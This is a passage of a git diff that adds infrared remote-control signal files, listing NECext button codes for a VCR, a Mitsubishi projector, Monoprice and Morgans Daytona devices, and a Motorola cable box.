+type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8E 00 00 00 +# +name: VCRB_ADJUST_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 8E 00 00 00 +# +name: VCRB_3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 90 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 90 00 00 00 +# +name: VCRB_CHANNEL_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 92 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 92 00 00 00 +# +name: VCRB_SCAN_V_(CH_V) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 92 00 00 00 +# +name: VCRB_STOP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 94 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 94 00 00 00 +# +name: VCRB_STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 94 00 00 00 +# +name: VCRB_INDEX_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 96 00 00 00 +# +name: INDEX_SEARCH_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 96 00 00 00 +# +name: VCRB_INDEX_SEARCH_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 96 00 00 00 +# +name: VCRB_SRCH_INDEX_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 96 00 00 00 +# +name: VCRB_ADJUST_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 96 00 00 00 +# +name: VCRB_REPEAT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 97 00 00 00 +# +name: VCRB_4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 98 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 98 00 00 00 +# +name: VCRB_PAUSE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9C 00 00 00 +# +name: VCRB_PAUSE_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9C 00 00 00 +# +name: VCRB_PAUSE/STILL_ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 9C 00 00 00 +# +name: VCRB_5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A0 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A0 00 00 00 +# +name: VCRB_FF_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A4 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A4 00 00 00 +# +name: VCRB_FF/SRCH_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A4 00 00 00 +# +name: VCRB_FF/FWD_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A4 00 00 00 +# +name: VCRB_Q.V. +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A5 00 00 00 +# +name: Q.V. +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A5 00 00 00 +# +name: VCRB_SQV/QV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A5 00 00 00 +# +name: VCRB_DISPLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A7 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A7 00 00 00 +# +name: VCRB_DATA_ON_SCREEN +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A7 00 00 00 +# +name: VCRB_INFO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A7 00 00 00 +# +name: VCRB_6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A8 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: A8 00 00 00 +# +name: VCRB_REW_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AC 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AC 00 00 00 +# +name: VCRB_REW/SRCH_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AC 00 00 00 +# +name: VCRB_REW/REV_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AC 00 00 00 +# +name: VCRB_OFF-T/OTR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AF 00 00 00 +# +name: VCRB_OFF-T_OTR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AF 00 00 00 +# +name: VCRB_SLEEP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: AF 00 00 00 +# +name: VCRB_7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B0 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B0 00 00 00 +# +name: VCRB_QUICK_PROGRAM +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B3 00 00 00 +# +name: VCR_PLUS+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B3 00 00 00 +# +name: VCRB_QUICKPRG/VCR+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B3 00 00 00 +# +name: VCRB_ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B5 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B5 00 00 00 +# +name: VCRB_ENTER_(EXCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B5 00 00 00 +# +name: VCRB_EJECT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B6 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B6 00 00 00 +# +name: VCRB_8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B8 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B8 00 00 00 +# +name: VCRB_ANT_A/B +type: parsed +protocol: NECext +address: 57 00 00 00 +command: B9 00 00 00 +# +name: VCBR_INPUT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: BA 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: BA 00 00 00 +# +name: VCRB_INPUT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: BA 00 00 00 +# +name: VCRB_INPUT_SELECT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: BA 00 00 00 +# +name: VCRB_SRCH_SKIP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: BD 00 00 00 +# +name: VCRB_VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C0 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C0 00 00 00 +# +name: VCRB_FUNC_VIDEO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C0 00 00 00 +# +name: VCRB_VIDEO_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C0 00 00 00 +# +name: VCRB_ADJUST_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C1 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C4 00 00 00 +# +name: VCRB_S.(QUICH_VIEW) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C5 00 00 00 +# +name: VCRB_VIDEO_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C8 00 00 00 +# +name: VCRB_ADJUST_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: C9 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 57 00 00 00 +command: CA 00 00 00 +# +name: VCRB_SHUTTLE_REV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: CB 00 00 00 +# +name: VCRB_S.(RE.SP.SRCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: CD 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: CE 00 00 00 +# +name: VCRB_AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D0 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D0 00 00 00 +# +name: VCRB_FUNC_AUDIO +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D0 00 00 00 +# +name: VCRB_AUDIO_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D0 00 00 00 +# +name: VCRB_MENU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D2 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D2 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D5 00 00 00 +# +name: VCRB_S.(F.SP.SRCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D5 00 00 00 +# +name: VCRB_AUDIO_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: D8 00 00 00 +# +name: VCRB_S(RE.PLAY_BACK) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: DB 00 00 00 +# +name: VCRB_SHU.FWD(NORMAL) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: DC 00 00 00 +# +name: VCRB_JOG/SHUTTLE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: DE 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: E2 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: EA 00 00 00 +# +name: VCRB_S.(R.FAST_P.B.) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: EB 00 00 00 +# +name: VCRB_JOG_REV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: F3 00 00 00 +# +name: VCRB_ADJUST-JOG +type: parsed +protocol: NECext +address: 57 00 00 00 +command: F3 00 00 00 +# +name: VCRB_JOG_FWD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: F4 00 00 00 +# +name: VCRB_ADJUST+JOG +type: parsed +protocol: NECext +address: 57 00 00 00 +command: F4 00 00 00 +# +name: VCRB_S.(F.H.SP.SRCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: F5 00 00 00 +# +name: VCRB_SHUTTLE_FWD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: F5 00 00 00 +# +name: VCRB_S.(R.H.SP.SRCH) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: FD 00 00 00 +# +name: VCRB_SHUTTLE_REW +type: parsed +protocol: NECext +address: 57 00 00 00 +command: FD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir new file mode 100644 index 000000000..925bdeaf3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 09 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: MENU_1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 33 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 42 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 4A 00 00 00 +# +name: ESC +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 52 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 5E 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 64 00 00 00 +# +name: < +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6C 00 00 00 +# +name: MENU_2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 73 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 74 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7C 00 00 00 +# +name: PIC_MUTE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 92 00 00 00 +# +name: MEM_LIST +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 9D 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 9F 00 00 00 +# +name: CRT_R +type: parsed +protocol: NECext +address: 47 00 00 00 +command: A1 00 00 00 +# +name: INPUT_A +type: parsed +protocol: NECext +address: 47 00 00 00 +command: A4 00 00 00 +# +name: CRT_G +type: parsed +protocol: NECext +address: 47 00 00 00 +command: A9 00 00 00 +# +name: INPUT_B +type: parsed +protocol: NECext +address: 47 00 00 00 +command: AC 00 00 00 +# +name: CRT_B +type: parsed +protocol: NECext +address: 47 00 00 00 +command: B1 00 00 00 +# +name: FUNC +type: parsed +protocol: NECext +address: 47 00 00 00 +command: B3 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: BB 00 00 00 +# +name: INPUT_VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: F5 00 00 00 +# +name: INPUT_Y/C +type: parsed +protocol: NECext +address: 47 00 00 00 +command: FD 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir new file mode 100644 index 000000000..d80fbab63 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir b/assets/resources/infrared/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir new file mode 100644 index 000000000..749b123ed --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 01 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 02 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 08 00 00 00 +# +name: MOVE +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 09 00 00 00 +# +name: V/H +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0A 00 00 00 +# +name: MEM +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0B 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0C 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 11 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 12 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 14 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 15 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 16 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 17 00 00 00 +# +name: P/L +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 18 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 19 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1E 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 80 26 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir b/assets/resources/infrared/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir new file mode 100644 index 000000000..93fa288dc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: STORE +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 04 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 05 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 06 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 08 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 0C 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 0E 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 13 00 00 00 +# +name: PL +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 14 00 00 00 +# +name: T_DOWN +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 15 00 00 00 +# +name: T_UP +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 18 00 00 00 +# +name: M/S +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 19 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 1A 00 00 00 +# +name: V/H +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 1B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 1C 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 1D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 1E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: CA A5 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir new file mode 100644 index 000000000..fc3212e76 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir @@ -0,0 +1,1580 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: ON_DEMAND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: ON_DEMAND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: C/PPV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: PPV_/_C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: ON_DEMAND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: CABLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: VCR/DVD/VOD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: ALL_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CODE1_POWER_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CODE1_POWER_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CODE3_POWER_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CODE3_POWER_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CODE4_POWER_OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CODE4_POWER_ON +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: NEW_CODE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CHAN_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: CHAN_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: ENTER/MUSIC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: #/ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: OK/SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: MENU_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: OK_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: /ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: C_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: MENU-SELECT/OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CURSOR_SELECT_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CURSER_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: LAST_CH. +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: LAST_CH +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: LAST/PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: PREVIOUS_CHANNEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: LAST_CHANNEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: PREV_CHANNEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: BYPASS-_TV/VCR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: TV/VCR_INPUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: FAVORITE_CHANNEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: LOCK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: A/LOCK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: 